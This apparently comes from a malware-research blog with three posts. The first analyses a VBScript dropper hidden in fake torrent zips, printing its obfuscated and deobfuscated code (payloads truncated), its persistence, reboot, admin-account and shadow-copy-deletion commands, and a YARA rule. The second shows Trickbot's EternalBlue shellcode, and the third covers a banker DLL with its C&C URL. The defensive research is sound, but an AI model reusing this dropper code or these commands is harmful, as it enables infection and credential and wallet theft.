19 days ago

Follow the research at #AllYourTorrentsBelongToUs

I don't know why, but some people are having trouble loading the web page correctly. In that case reload the page or use a computer instead of a mobile device. You should find some Virus Total screenshots and a Yara Rule at the end of this article. Thanks

Mirror post here - Working as expected -> https://reversingminds.github.io/ReversingMindsBlog/

A few days ago, a friend told me that something strange happened every time he tried to download a torrent from some spanish torrent sites...

The first time you click on the download torrent button:

You will download a file with this pattern as name:


But if you click again you will download a .torrent file...

Looking into the supposed zipped torrent file a .vbs file is found.

The .vbs file looks pretty obfuscated:

Playing with the obfuscated code, a script in "clear text" is obtained:


 if CreateObject(OrvRu("Qapkrvkle,DkngQ{qvgoM`hgav",2)).GetParentFolderName(WScript.ScriptFullName) = "C:\" then
 end if
 dim dEsFPZKKXwnYmBUDTqXe, KwxZCOQtvTSpXWawuUecfit, oWBOsqWfANRUqJiFXToLNPBEg, UiFbUrspphuZurdINVnlzmLMCOzhIn, TyoGpdeMyLEpaOMXCkCBcbYBzv,olcDVtpAtSEPtVAUodd,UiFbUrspphuZurdINVnlzmLMCOzh,JkNTyBMjOwyjKJOfpMWZ, MlVQvmywSW,dRTqwSHVcRAnOfVyzCM,DeSHPpoHECNPA 

 dRTqwSHVcRAnOfVyzCM = OrvRu("VSXSU9Dcervz",23)
 function jZKLbgjUlj(sMQA,ZoKH)
jZKLbgjUlj= mid(sMQA,ZoKH,1)
End Function

 function OrvRu(sMQA,sNsOT)
  for i = 1 to Len(sMQA)
   OrvRu = OrvRu & chr(asc(jZKLbgjUlj(sMQA,i)) xor sNsOT)
end function

  Set kPmKMAUYnHoWoLA = CreateObject(dRTqwSHVcRAnOfVyzCM)
    For i = 1 to 900
    kPmKMAUYnHoWoLA.Write olcDVtpAtSEPtVAUodd.NodeTypedValue
        kPmKMAUYnHoWoLA.Write olcDVtpAtSEPtVAUodd.NodeTypedValue
            kPmKMAUYnHoWoLA.Write olcDVtpAtSEPtVAUodd.NodeTypedValue
 Set KwxZCOQtvTSpXWawuUecfit = CreateObject(OrvRu("Qapkrvkle,DkngQ{qvgoM`hgav",2))
Set TyoGpdeMyLEpaOMXCkCBcbYBzv = CreateObject(OrvRu("DZQde;'MFDMfj|dlg}",9))

 Set olcDVtpAtSEPtVAUodd = TyoGpdeMyLEpaOMXCkCBcbYBzv.createElement(OrvRu("Khzl?=Mh}h",9))
 Set kPmKMAUYnHoWoLA = CreateObject(dRTqwSHVcRAnOfVyzCM)
    For i = 1 to 100
    kPmKMAUYnHoWoLA.Write olcDVtpAtSEPtVAUodd.NodeTypedValue

Function szcRCjdYsgsUwhwlYoMxP
    Dim NvnNYEItVIoXsJ
    Const kUGUYXLpEfwXxgGgIj = "abcdefghijklmnopqrstuvwxyz0123456789"
    For i = 1 to 10
        NvnNYEItVIoXsJ = NvnNYEItVIoXsJ & Mid( kUGUYXLpEfwXxgGgIj, Int((24-1+1)*rnd+1), 1 )
    szcRCjdYsgsUwhwlYoMxP = NvnNYEItVIoXsJ
End Function

'norton scantime-emulation fucker

[...Binaries + Lot of Code...]

Steps in order to clean the script:

  • Function OrvRu() decrypt the interesting strings.
  • There are a lot of weird variable names like dEsFPZKKXwnYmBUDTqXe, KwxZCOQtvTSpXWawuUecfit, TyoGpdeMyLEpaOMXCkCBcbYBzv etc... those variables need to be renamed.
  • There are a lot of interesting functions, szcRCjdYsgsUwhwlYoMxP looks like a string randomizer.
  • This comment doesn't need to be deobfuscated... norton scantime-emulation fucker.

String Decryption

These are the functions that decrypt the strings:

function jZKLbgjUlj(sMQA,ZoKH)
jZKLbgjUlj= mid(sMQA,ZoKH,1)
End Function

function OrvRu(sMQA,sNsOT)
  for i = 1 to Len(sMQA)
   OrvRu = OrvRu & chr(asc(jZKLbgjUlj(sMQA,i)) xor sNsOT)
end function

jZKLbgjUlj is the same that Mid(string,start[,length]) function.

OrvRu perform XOR ops over the string in order to decipher the data.

Same function but legible:

function unxorString(xoredString,xorValue)
  for i = 1 to Len(xoredString)
   unxorString = unxorString & chr(asc(mid((xoredString,i,1)) xor xorValue)
end function
Decoding strings using this python script:
#function unxorString(xoredString,xorValue)

#  for i = 1 to Len(xoredString)

#   unxorString = unxorString & chr(asc(mid((xoredString,i,1)) xor xorValue)

#  Next

#end function

def unxorString(xoredString, xorValue):

    unxoredString = ""
    for c in xoredString:

        unxoredString += chr(ord(c) ^ xorValue)

    print "{0} {1}".format(unxoredString, xoredString)

unxorString("Qapkrvkle,DkngQ{qvgoM`hgav", 2)
Decoded Strings:
c:\windows\system32\cmd.exe /c REG ADD HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /V MyApp /t REG_SZ /F /D 
C:\Program Files (x86)\Kaspersky Lab
C:\Windows\System32\shutdown.exe -f -r -t 0

With these strings now is possible to deobfuscate the code.

Deobfuscated Code (without binaries)


if CreateObject("Scripting.FileSystemObject").GetParentFolderName(WScript.ScriptFullName) = "C:\" then
end if
dim dEsFPZKKXwnYmBUDTqXe, Scripting_FileSystemObject_, oWBOsqWfANRUqJiFXToLNPBEg, ADODB_Stream_ObjectIn, MSXml2_DOMDocument_,Base64Data_,ADODB_Stream_Object,JkNTyBMjOwyjKJOfpMWZ, FullRandomPath,ADODB_Stream_,DeSHPpoHECNPA 

ADODB_Stream_ = "ADODB.Stream"

function unxorString(xoredString,xorValue)
    for i = 1 to Len(xoredString)
        unxorString = unxorString & chr(asc(mid((xoredString,i,1)) xor xorValue)
end function

Set ADODB_Stream_2 = CreateObject(ADODB_Stream_)
ADODB_Stream_2.Type = VALUE_1
For i = 1 to 900
    ADODB_Stream_2.Write Base64Data_.NodeTypedValue
    ADODB_Stream_2.Write Base64Data_.NodeTypedValue
    ADODB_Stream_2.Write Base64Data_.NodeTypedValue

Set Scripting_FileSystemObject_ = CreateObject("Scripting.FileSystemObject")
Set MSXml2_DOMDocument_ = CreateObject("MSXml2.DOMDocument")

Set Base64Data_ = MSXml2_DOMDocument_.createElement("Base64Data")

Set ADODB_Stream_2 = CreateObject(ADODB_Stream_)
ADODB_Stream_2.Type = VALUE_1
For i = 1 to 100
    ADODB_Stream_2.Write Base64Data_.NodeTypedValue

Function randomName
    Dim stringRandomName
    Const valuesGenerateRandomName = "abcdefghijklmnopqrstuvwxyz0123456789"
    For i = 1 to 10
        stringRandomName = stringRandomName & Mid( valuesGenerateRandomName, Int((24-1+1)*rnd+1), 1 )
    randomName = stringRandomName
End Function

'norton scantime-emulation fucker

Const VALUE_1     = 1 
Const VALUE_0     = 0 
Const VALUE_2     = 2
Const VALUE_1_too = 1 

Base64Data_.DataType = "bin.base64"

Set ADODB_Stream_Object = CreateObject(ADODB_Stream_)


For i = 1 to 86

Set FileSystemObject_ = CreateObject("Scripting.FileSystemObject")
If (FileSystemObject_.FolderExists("c:\users")) Then
    Base64Data_.text = "T"+chr(ANTIDETECTION_TRICK_SUM_1_to_86)+"...[BINARY_DATA_TRUNCATED]..."
end if
ADODB_Stream_Object.Type = VALUE_1
randomName_2 = randomName
FullRandomPath =  "C:\"+randomName & "__"

ADODB_Stream_Object.Write Base64Data_.NodeTypedValue

ADODB_Stream_Object.SaveToFile  FullRandomPath+"\"+randomName_2+".exe", VALUE_2

Set Scripting_FileSystemObject_ = CreateObject("Scripting.FileSystemObject")
Set MSXml2_DOMDocument_ = CreateObject("MSXml2.DOMDocument")
Set Base64Data_ = MSXml2_DOMDocument_.createElement("Base64Data")
Base64Data_.DataType = "bin.base64"
Set ADODB_Stream_Object = CreateObject(ADODB_Stream_)
Base64Data_.text = "QVNKSnBhUWdaUWRQ...[BINARY_DATA_TRUNCATED]..."
ADODB_Stream_Object.Type = VALUE_1
ADODB_Stream_Object.Write Base64Data_.NodeTypedValue
ADODB_Stream_Object.SaveToFile FullRandomPath+"\test.au3", VALUE_2

Set Scripting_FileSystemObject_ = CreateObject("Scripting.FileSystemObject")
Set MSXml2_DOMDocument_ = CreateObject("MSXml2.DOMDocument")
Set Base64Data_ = MSXml2_DOMDocument_.createElement("Base64Data")
Base64Data_.DataType = "bin.base64"
Set ADODB_Stream_Object = CreateObject(ADODB_Stream_)
Base64Data_.text = "lUsskHgpwMDAQQTEMD8/...[BINARY_DATA_TRUNCATED]..."
ADODB_Stream_Object.Type = VALUE_1
ADODB_Stream_Object.Write Base64Data_.NodeTypedValue
ADODB_Stream_Object.SaveToFile FullRandomPath+"\shell.txt", VALUE_2

Set Scripting_FileSystemObject_=CreateObject("Scripting.FileSystemObject")
Set FileSystemObject_hnd = Scripting_FileSystemObject_.CreateTextFile(FullRandomPath+"\pe.bin",True)
FileSystemObject_hnd.Write "CeOksgZgSM|4fb8rK6sr...[BINARY_DATA_TRUNCATED]..."

If (FileSystemObject_.FolderExists("C:\Program Files (x86)\Kaspersky Lab")) Then
    CreateObject("WScript.Shell").Run("c:\windows\system32\cmd.exe /c REG ADD HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /V MyApp /t REG_SZ /F /D " & chr(34) & FullRandomPath &"\" & randomName_2 &".exe"&chr(34) & FullRandomPath &"\test.au3"&chr(34))
    CreateObject("WScript.Shell").Run("C:\Windows\System32\shutdown.exe -f -r -t 0")
end if
If (FileSystemObject_.FolderExists("c:\users")) Then
    CreateObject( "Shell.Application" ).ShellExecute FullRandomPath+"\"+randomName_2+".exe", FullRandomPath+"\test.au3", FullRandomPath, "open", 0
end if

As we can see the malware will create a folder in:


For example:


Then will drop 3 files:

  • Autoit v3 with random name.
  • pe.bin
  • shell.txt
  • test.au3

Then if C:\Program Files (x86)\Kaspersky Lab folder doesn't exist, the script will execute the AutoIT executable passing as parameter the file test.au3

Kaspersky Antidetection trick?

I don't know why, but if the script detects that the folder"C:\Program Files (x86)\Kaspersky Lab" exists:

It will add a new key in Run with the name MyAppin order to run when the computer boots.

c:\windows\system32\cmd.exe /c REG ADD HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /V MyApp /t REG_SZ /F /D

Then force reboot.

C:\Windows\System32\shutdown.exe -f -r -t 0

Maybe this trick avoid the detection by Kaspersky AV??

AutoIT Script

This script read shell.txt and pe.bin in order to create a new executable.

Then the script will create vbc.exe process in suspended state:

Finally the script will inject the malicious payload into vbc.exe

Some of the functions used in this phase:

  • NtGetContextThread
  • NtReadVirtualMemory
  • NtWriteVirtualMemory
  • NtProtectVirtualMemory
  • NtFlushInstructionCache
  • NtUnmapViewOfSection
  • NtSetContextThread
  • NtResumeThread
  • NtFreeVirtualMemory
  • NtTerminateProcess

vbc.exe (Payload)

I have done a quick analysis and it has the following features:

AV detection




Trend Micro

SUPER AntiSpyware  


Search & Destroy
Windows Defender
XMR Miner
8afc15525d1b379d4a5172f63c4025c0  cpux64.bin
831fd921948bab5d5ed83eab4a4ea45e  cpux86.bin
Browser password stealer
Opera Software
Keylogger looking for Cryptocurrency Exchanges and Cryptowallet credentials

  • litecoin core
  • bitcoin core
  • factores-binance (Second factor Binance)
  • metamask (Etherum)
  • myether
  • kucoin
  • cryptopia
  • hitbtc
  • bittrex
  • cryptopia
  • coinEx
  • bittrex.com
  • litebit.eu
  • binance
  • hitbtc
  • Blockchain Wallet
  • Electrum Wallet
  • Bitcoin Wallet
  • Litecoin Wallet
  • Exodus Wallet
  • Jaxx Wallet

This string is usual in ransomware but I haven't gone deep enough:

/c vssadmin delete shadows /for=c: /all /quiet
Interesting strings / commands:
/c net user /add SafeMode DalasReview0!
/c net localgroup administrators SafeMode /add 
/c net localgroup administradores SafeMode /add
/c net localgroup administrateurs SafeMode /add
/c shutdown -f -s -t 0
/c shutdown -f -r -t 0

cpux86.bin (XMR Miner)

Looking for this strings the names are related mining software:
8afc15525d1b379d4a5172f63c4025c0  cpux64.bin
831fd921948bab5d5ed83eab4a4ea45e  cpux86.bin

The content of cpux86.bin:


Looks like the content between startminer[CONTENT]startminerstartminer is base64.


base64 -d base64_cpuix86 > decoded_base64_cpuix86

File command:

file decoded_base64_cpuix86
zlib compressed data <-

Script to obtainuncompressed_zlib_decoded_base64_cpuix86:

import zlib

with open("decoded_base64_cpuix86", "rb") as f:
    buf = f.read()
    des = zlib.decompress(buf)
    file_hnd = open("uncompressed_zlib_decoded_base64_cpuix86", "wb") 

The result is an XMR miner uncompressed_zlib_decoded_base64_cpuix86

file uncompressed_zlib_decoded_base64_cpuix86
PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows
831fd921948bab5d5ed83eab4a4ea45e  cpux86.bin
7209d62428537731e521ee87b36447de  base64_cpuix86
5ef8aab08b3fbef38b80b58eddd778c7  decoded_base64_cpuix86
73e4ad3d8ef1fdf60b785f330cdd10d7  uncompressed_zlib_decoded_base64_cpuix86 <- XMR Miner

Looking for MD5 73e4ad3d8ef1fdf60b785f330cdd10d7 in VT:

Low detection rate in Virus Total

Looking for .torrent.zip you will be able to find a lot of similar .torrent.zips and the detection rate is very low.

If you look for .torrent.zip in VirusTotal you are going to find a lot of them.

For example, sample MD5 902df385e6598409cc09b074d2e43ecd with name Animales_Fantasticos_y_donde_Encontrarlos_MicroHD_1080p.torrent.zip has 2/59 detections in VT:

And the malicious embedded vbe MD5 4279becbd54aa66f4311dd9c6253358a has 2/56 detections in VT:

A sandbox should be able to detect those .vbe files as malicious, for that reason I don't understand that low detect ratio.



If you don't have experience dealing with malware, please don't delete anything on your computer, *I am not responsible of any damage *.

Example: erkjnduj2w__

Using YaraEditor from Adlice (https://www.adlice.com/download/yaraeditor/) and using this Yara rule in order to scan the memory of all the active processes, you can detect this payload (execute YaraEditor with admin privileges)

If you detect a program with this rule, check their path a delete it if you think that is malicious.

rule AllYourTorrentsBelongToUs : malware
        date = "2018/12/29"
        arch = "X86"
        author = "@51ddh4r7h4"
        blog = "reversingminds-blog.logdown.com"

        $string_1 = "/c net localgroup administrators SafeMode /add" ascii wide nocase

        $string_2 = ":::Clipboard:::"

        $string_3 = "/c net user /add SafeMode DalasReview0!" ascii wide nocase
        $string_4 = "/c net localgroup administrators SafeMode /add" ascii wide nocase
        $string_5 = "/c net localgroup administradores SafeMode /add" ascii wide nocase
        $string_6 = "/c net localgroup administrateurs SafeMode /add" ascii wide nocase

        $string_7 = "wireshark" ascii wide nocase

        // Exchanges

        $string_8  = "myether" ascii wide nocase
        $string_9  = "litecoin core" ascii wide nocase
        $string_10 = "factores-Binance" ascii wide nocase
        $string_11 = "metamask" ascii wide nocase
        $string_12 = "kucoin" ascii wide nocase
        $string_13 = "bitcoin core" ascii wide nocase
        $string_14 = "blockchain wallet" ascii wide nocase
        $string_15 = "eth) - log in" ascii wide nocase
        $string_16 = "exchange - balances" ascii wide nocase
        $string_17 = "bittrex.com - input" ascii wide nocase
        $string_18 = "electrum" ascii wide nocase
        $string_19 = "jaxx" ascii wide nocase
        $string_20 = "sign in | coinEx" ascii wide nocase
        $string_21 = "user login - zb spot exchange" ascii wide nocase
        $string_22 = "cryptopia - login" ascii wide nocase
        $string_23 = "binance - iniciar sesi" ascii wide nocase
        $string_24 = "litebit.eu - login" ascii wide nocase
        $string_25 = "binance - log in" ascii wide nocase
        $string_26 = "sign-in / hitbtc" ascii wide nocase
        $string_27 = "exodus 1" ascii wide nocase

        // Wallet

        $string_28 = "Electrum" ascii wide nocase
        $string_29 = "C:\\Program Files (x86)\\Electrum" ascii wide nocase
        $string_30 = "Electrum Wallet detected" ascii wide nocase
        $string_31 = "Bitcoin" ascii wide nocase
        $string_32 = "Bitcoin_Core Wallet detected" ascii wide nocase
        $string_33 = "Litecoin" ascii wide nocase
        $string_34 = "Litecoin_Core Wallet detected" ascii wide nocase
        $string_35 = "Exodus" ascii wide nocase
        $string_36 = "Exodus Wallet detected" ascii wide nocase
        $string_37 = "jaxx" ascii wide nocase
        $string_38 = "Jaxx Wallet detected" ascii wide nocase

        // Download XMR Miner

        $string_39 = "" ascii wide nocase
        $string_40 = "" ascii wide nocase
        // Navigators                                    

        $string_41 = "Mozilla\\Firefox\\Profiles" ascii wide nocase
        $string_42 = "sqlite" ascii wide nocase
        $string_43 = "firefox.exe" ascii wide nocase
        $string_44 = "chrome.exe" ascii wide nocase
        $string_45 = "opera.exe" ascii wide nocase
        $string_46 = "Mozilla" ascii wide nocase
        $string_47 = "Google" ascii wide nocase
        $string_48 = "Opera Software" ascii wide nocase
        //$string_49 = 

        //$string_50 = 

        $string_51 = "C:\\cookies\\Mozilla" ascii wide nocase
        $string_52 = "C:\\cookies\\Chrome" ascii wide nocase
        $string_53 = "C:\\cookies\\Opera" ascii wide nocase
        $string_54 = "\\AppData\\Local\\Google" ascii wide nocase
        $string_55 = "install.txt" ascii wide nocase
        $string_56 = "C:\\Program Files (x86)\\IObit" ascii wide nocase
        $string_57 = "monitor.exe" ascii wide nocase
        $string_58 = "filemanager" ascii wide nocase
        $string_59 = "systeminfo.exe" ascii wide nocase
        $string_60 = "systeminfo -i -o" ascii wide nocase

        // Commands

        $string_61 = "deleterestorepoints" ascii wide nocase
        $string_62 = "ftprecovery" ascii wide nocase
        $string_63 = "shutdownmonitor" ascii wide nocase
        $string_64 = "installrdp" ascii wide nocase
        $string_65 = "copyrdpcookies" ascii wide nocase
        $string_66 = "killcookies" ascii wide nocase
        $string_67 = "recoveryemailpasswords" ascii wide nocase
        $string_68 = "Mail PassView" ascii wide nocase
        $string_69 = "recoverybrowserpasswords" ascii wide nocase
        $string_70 = "WebBrowserPassView" ascii wide nocase
        $string_71 = "recoverybrowsercookieschrome" ascii wide nocase
        $string_72 = "ChromeCookiesView" ascii wide nocase
        $string_73 = "recoverybrowsercookiesie" ascii wide nocase
        $string_74 = "IECookiesView" ascii wide nocase
        $string_75 = "recoverybrowsercookiesfirefox" ascii wide nocase
        $string_76 = "MZCookiesView" ascii wide nocase
        $string_77 = "getbrowserhistory" ascii wide nocase
        $string_78 = "installplugincapture" ascii wide nocase
        $string_79 = "shutdownpc" ascii wide nocase
        $string_80 = "/c shutdown -f -s -t 0" ascii wide nocase
        $string_81 = "/c shutdown -f -r -t 0" ascii wide nocase
        $string_82 = "openwebsite" ascii wide nocase
        $string_83 = "getskypechats" ascii wide nocase
        $string_84 = "getkeylogs" ascii wide nocase
        $string_85 = "closeuninstall" ascii wide nocase
        $string_86 = "downloadurlfiletobot" ascii wide nocase
        $string_87 = "downloadlocalfiletomemory" ascii wide nocase
        $string_88 = "downloadlocalfiletothread" ascii wide nocase
        $string_89 = "downloadlocalfiletobot" ascii wide nocase
        $string_90 = "replaceminer" ascii wide nocase
        $string_91 = "fullkillminer" ascii wide nocase
        $string_92 = "startminer" ascii wide nocase
        $string_93 = "getbotdata" ascii wide nocase
        $string_94 = "updateboturl" ascii wide nocase
        $string_95 = "updatebotrb" ascii wide nocase
        $string_96 = "updatebotrb7" ascii wide nocase
        $string_97 = "updatebotrb6" ascii wide nocase
        $string_98 = "updatebotrb5" ascii wide nocase
        $string_99 = "updatebotrb4" ascii wide nocase
        $string_100 = "updatebotrb3" ascii wide nocase
        $string_101 = "updatebotrb2" ascii wide nocase
        $string_102 = "updatebotrb1" ascii wide nocase

        $string_103 = "getdllcapture" ascii wide nocase
        $string_104 = "dllcaptureok" ascii wide nocase
        $string_105 = "skype.txt" ascii wide nocase
        $string_106 = "lol.exe" ascii wide nocase

        // AV

        $string_107 = "Avast" ascii wide nocase
        $string_108 = "avastui.exe" ascii wide nocase

        $string_109 = "Kaspersky" ascii wide nocase
        $string_110 = "avpui.exe" ascii wide nocase

        $string_111 = "AVG" ascii wide nocase
        $string_112 = "avgui.exe" ascii wide nocase

        $string_113 = "Nod32" ascii wide nocase
        $string_114 = "egui.exe" ascii wide nocase

        $string_115 = "Bitdefender" ascii wide nocase
        $string_116 = "bdagent" ascii wide nocase
        $string_117 = "Avira" ascii wide nocase
        $string_118 = "avguard.exe" ascii wide nocase

        $string_119 = "Norton" ascii wide nocase
        $string_120 = "ns.exe" ascii wide nocase

        $string_121 = "nortonsecurity.exe" ascii wide nocase
        $string_122 = "nis.exe" ascii wide nocase

        $string_123 = "Trend Micro" ascii wide nocase
        $string_124 = "uiseagnt.exe" ascii wide nocase
        $string_125 = "McAfee" ascii wide nocase
        $string_126 = "mcshield.exe" ascii wide nocase
        $string_127 = "mcuicnt.exe" ascii wide nocase

        $string_128 = "SUPER AntiSpyware" ascii wide nocase
        $string_129 = "superantispyware.exe" ascii wide nocase

        $string_130 = "Comodo" ascii wide nocase
        $string_131 = "vkise.exe" ascii wide nocase
        $string_132 = "cis.exe" ascii wide nocase

        $string_133 = "MalwareBytes" ascii wide nocase
        $string_134 = "mbam.exe" ascii wide nocase
        $string_135 = "ByteFence" ascii wide nocase
        $string_136 = "bytefence.exe" ascii wide nocase

        $string_137 = "Panda" ascii wide nocase
        $string_138 = "psuaconsole.exe" ascii wide nocase
        $string_139 = "Search & Destroy" ascii wide nocase
        $string_140 = "sdscan.exe" ascii wide nocase

        $string_141 = "Windows Defender" ascii wide nocase
        $string_142 = "mpcmdrun.exe" ascii wide nocase
        $string_143 = "msascuil.exe" ascii wide nocase

        75 of ($string_*)
  • If you don't have one, install an antivirus as soon as possible.

Analysed Samples

Name MD5 VirusTotal Detections
promesa-al-amanecer-blurayrip.torrent.zip fe41de203a01dfdd28ef129688fa9ce0 7/58
promesa-al-amanecer-blurayrip.torrent.vbe a1b2a2aa8eed485d09673de47e1858a1 8/56
rqrhafpscw.exe (AutoIT) b06e67f9767e5023892d9698703ad098 1/70
test.au3 ba319ca5edf5c36c2c266ef870dbabe5 0/57
pe.bin 5181dc0732e74c030be5739ca56352c8 0/56
shell.txt 39eee04505d93c8af96d78f4d43b8f58 2/58

Important note for researchers

While I was downloading zipped torrents (malware) from torrent sites, I have noticed that sometimes, by some reason, the sites stop downloading malware (Even if I use different IPs)

And if you want to continue analysing this, I would appreciate that you share the info via Twitter using this hashtag:

Follow the research at #AllYourTorrentsBelongToUs

Thanks in advance

Author: @51ddh4r7h4

5 months ago

In this series of articles, I going to explain how the different malware families implement EternalBlue and how they take advantage of it.

EternalBlue (CVE-2017-0143)

Is an exploit developed by the NSA, leaked by the Shadow Brokers hacker group on April 14, 2017.

Was widely known when was used as part of the wordwide Wannacry ransomware attack on May 12,2017.

This exploit takes advantage of a vulnerability in Microsoft's implementation of the Server Message Block (SMB) protocol (CVE-2017-0143), sending crafted packets using SMBv1 allows arbitrary code execution into the target system.

Operative systems affected:

  • Windows XP
  • Windows Vista
  • Windows 7
  • Windows 8.1
  • Windows 10
  • Windows Server 2003
  • Windows Server 2008
  • Windows Server 2012
  • Windows Server 2016

Trickbot (Banker)

In this post, I going to analyze Trickbot's wormDll32 module, this module allows Trickbot to spreads using EternalBlue.

Worm module

This module tries to infect all the devices into the same domain of the infected machine using EternalBlue.

As it is usual in the Trickbot modules, the DLL has 4 exports:

  • Control
  • FreeBuffer
  • Release
  • Start

The export that starts the malicious operations is Control.

When the new thread is created, the module enumerates all the servers from the same domain using NetServerEnum.

Then, it obtains the IP of the hosts using gethostbyname and inet_ntoa functions.

With this info, OpenSocket_ThenEternalBlue function is called.

This function performs socket operations in order to establish communication with the targeted machine.

If everything works as expected, the EternalBlue infection starts:

First, the module checks the OS version. If the version contains one of these strings, it will try to infect the device:

  • Windows 7
  • 2008
  • Vista
  • 2003
  • Windows 5

Then, the function creates the required structures to perform the EternalBlue attack and takes advantage of the vulnerability.

The final stage of this process is to inject a shellcode into the targeted system. This module contains two shellcodes, one for 32 bits systems (left) and the other for 64 bits systems (right)

Both shellcodes contain a malicious URL from which the malicious code will be downloaded.


The examples given here come from x86 shellcode.

The shellcode is composed of two parts. The first one is the Ring 0 part that gets ready in order to perform a Ring 3 APC injection into the targeted process to execute the malicious Ring 3 code (if the injection is performed in lsass.exe or services.exe it will be executed with System priviledges)

This is the first part of the trickbot shellcode.

Doing a little research, it have found that the initial part of the shellcode corresponds to this code:

The EternalBlue POC can be found in this GitHub:

Comparing both the trickbot's shellcode and the original shellcode from GitHub, it have been noticed that the original one doesn't perform an APC injection into lsass.exe process as the original shellcode does.

_find_target_process_loop function of the original shellcode from GitHub:

LSASS_EXE_HASH    EQU    0xc1fa6a5a

    lea esi, [edi+ecx]
    call calc_hash
    cmp eax, LSASS_EXE_HASH    ; "lsass.exe"
    jz found_target_process
%ifndef COMPACT

find_target_process_loop function of Trickbot's x86 shellcode:

0xc1fa6a5a (LSSAS) != 0x388CC1E7 (Unknow process)

If the injection is performed into lsass.exe the lsass.exe hash (0xc1fa6a5a) should be find, but instead 0x388CC1E7 have been found.

And the calc_hash functions found in both shellcodes are the same:

; Calculate ASCII string hash. Useful for comparing ASCII string in shellcode.
; Argument: esi = string to hash
; Clobber: esi
; Return: eax = hash
    push edx
    xor eax, eax
    lodsb                   ; Read in the next byte of the ASCII string
    ror edx, 13             ; Rotate right our hash value
    add edx, eax            ; Add the next byte of the string
    test eax, eax           ; Stop when found NULL
    jne _calc_hash_loop
    xchg edx, eax
    pop edx

At this point, the original calc_hash function from the shellcode have been found in order to create a python script with the same functionality. The objective is to obtain the name of the process associated with the unknown hash 0x388CC1E7 that appears in the trickbot's shellcode.

Using the script it has found that the name of the process associated with the hash 0x388CC1E7 is services.exe, meaning that Trickbot's shellcode will inject its malicious code into services.exe process instead of lsass.exe.

$python trickbot_shellcode_hashcalc.py 
0xc1fa6a5a : lsass.exe
0x388cc1e7 : services.exe
0x3ee083d8 : spoolsv.exe
0xb7e02438 : svchost.exe
0x3eb272e6 : explorer.exe
0x7ab2a3f2 : taskmgr.exe
0x3ee083d8 : spoolsv.exe
0xbebc72a3 : winlogon.exe
0xc1fa247a : csrss.exe
0xc1f70bda : smss.exe

Trickbot payload Ring 3 injected into services.exe:

This is the part that Trickbot's developers have created, since the other is a copy from GitHub.

The shellcode will unxor the encoded data to obtain the name of the functions that the shellcode needs to work.

When the process is completed, it can be noticed that the buffer contains the name of the functions and the name of the payload that will be downloaded into the system setup.exe and GET string that is used as a parameter in one of the functions to download the malicious "png".

Then it loads the IAT:

It obtains the malicious URL from the end of the shellcode.

After that, it cut the malicious URL into:


Malicious exe with PNG extension:


In addition, the shellcode downloads the malicious payload into the system:

Finally the shellcode copies the payload (trickbot) from into setup.exe and then executes it using CreateProcessA, infecting the EternalBlue vulnerable system with Trickbot.

Author: @51ddh4r7h4

5 months ago

Malware analysis sample with MD5 da3ae8369f32acaff188a5163adcf8a0

There is no info about how the sample infects the system, this sample could have been dropped/downloaded in an initial stage infection. For example, a common scenario, where an user receives an email with a malicious Word document attached. This word document could have malicious Macros or an exploit that takes advantage of CVE-2017-11882 or CVE-2018-0802 vulnerabilities in order to download, stablish the persistence and execute the second stage.

Moreover, the sample is a DLL and it is possible that it uses DllHijacking to be more stealthy during its execution, setting an autorun mecanism using the registry, scheduled task, service... pointing to the legitimate program that is going to load de malicious DLL.

Static analysis - MD5 da3ae8369f32acaff188a5163adcf8a0

The sample is a DLL compiled with Delphi, the Compiler timestamp: is 12/07/2018 (it can be modified), with a "valid certificate" signed by ITWAYSUK LTD.

VT Detections

The sample is detected by 33/65 antivirus engines, as "Trojan.Banker"


The sample has 4 exports, dbkFCallWrapperAddr, _dbk_fcallwrapper and TMethodImplementationIntercept exports are usual in DLLs compiled in Delphi XE6.

QOAKN6CXI9RC5RRTFXN13SHVYHD9KOR4SP is the export that performs the malicious operations.


The signer is ITWAYSUK LTD, and it looks valid, malware developers uses stolen certificates in order to sign malware to bypass Microsoft SmartScreen Application Reputation engine.


Serial Number             : 23 4f 65 60 e6 7b 93 d4 45 86 21 7b e3 e7 49 52
Signers                   : ITWAYSUK LTD; COMODO RSA Code Signing CA; COMODO SECURE™
Counter signers           : Symantec Time Stamping Services Signer - G4; Symantec Time Stamping Services CA - G2; Thawte Timestamping CA

Dynamic Analysis - Export QOAKN6CXI9RC5RRTFXN13SHVYHD9KOR4SP

The analysis starts executing the export QOAKN6CXI9RC5RRTFXN13SHVYHD9KOR4SP.

Mutex creation

Then uses FindResourceW in order to obtain the resource Y8LNCZ6BLW:

This resource is read when the execution starts, could be part of the configuration of the malicious sample.

Check infection

It creates a file in C:\Users\[USER]\AppData\Local with the name "rundll.exe.txt". If the file exists the system have been infected before.

It uses de name of the process that launch the DLL to create the name of the file:


In addition, checks if testyy.txt file exist in the path %ALLUSERSPROFILE%\testyy.txt

Decoding strings on demand

This sample decodes the strings on demand.

This technique makes the extraction of the strings more difficult.

Strings deciphered:
Ciphered Clean Text
508DAE6287 hktg
7FC37BA858E96384B3A0BF2FCD789ABD78D81BBC7CEB13BB7EC4769B499F4580AF609DD96BE00458FA64 winmgmts:\localhost\root\SecurityCenter2
1C4D2818082A9658 \11.txt
0B52F322C66DD06197B14DA945ED21D618BF75DB758DB61222A246F92675EA5482AA5EE91BB440BC2EDE0C \Software\Microsoft\Internet Explorer\Main
6DF73DE34AC60227D0699D36CB74A65D Use FormSuggest
A8DB1DCE72933DF71BCD024533C6699A5CEB0848E166 FormSuggest Passwords
48BB7DAE52F35D97BA6DA32B1D283E180B46E2c FormSuggest PW Ask
0851F223C76AD56492BA5492AD5487B076DD17B95B81A72FC60020C156AA70D50E37E16F91CF13B711C97992E20C26D87DA43F84B6B66280DB4CFF20D3738E46EA \Software\Microsoft\Windows\CurrentVersion\Explorer\AutoComplete
76E76A9D5D86CE6788B757 \Trusteer\
E57BB96F919DF87B9BB0578BB95E9043E76FCE0022BCA633C11026CB0849FA5F82B46DE56D9B9B3D9C42F7207BBC7FA5 http://dbcadastro.com/cadastramentoS5/ponto.php (C&C Domain)
65F41E2C3CC62A38CE59F677B65F9046EB639A3DD41FC50D24A54AEF5895B92122D3024DE66CB139AE689A4387A2A4 \SOFTWARE\Microsoft\Windows NT\CurrentVersion
DB1AD47BA9405AC87DA04E84B1568BB270E6 Shell.Application
589E51F328DB74E60E3CE2658E3E9354F823D0033923C47FDF11C6 hnetcfg.fwmgr
